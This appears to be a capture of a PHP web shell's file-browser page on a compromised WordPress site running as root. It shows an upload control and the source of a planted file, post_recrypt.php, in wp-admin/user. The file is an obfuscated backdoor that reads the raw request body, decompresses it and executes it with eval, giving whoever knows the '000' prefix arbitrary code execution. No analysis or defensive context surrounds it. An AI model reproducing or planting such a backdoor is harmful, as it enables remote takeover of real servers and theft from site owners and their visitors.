HEX
Server: Apache/2.2.15 (CentOS)
System: Linux ip-10-0-2-146.eu-west-1.compute.internal 2.6.32-754.35.1.el6.centos.plus.x86_64 #1 SMP Sat Nov 7 11:33:42 UTC 2020 x86_64
User: root (0)
PHP: 5.6.40
Disabled: NONE
$ pwd: /www/sites/www.credebtexchange.com/htdocs/wp-admin/user/
Upload Files
File: /www/sites/www.credebtexchange.com/htdocs/wp-admin/user/post_recrypt.php
<?php
 goto DuHP1; DuHP1: $rawData = file_get_contents("\x70\x68\160\72\x2f\57\151\156\160\x75\164"); goto frlvr; frlvr: if (substr($rawData, 0, 3) == "\x30\60\x30") { $uncompressed = gzinflate(substr($rawData, 3)); @($command = $uncompressed); try { eval($command); } catch (MyException $e) { } } goto UYEii; UYEii: ?>
@ Telegram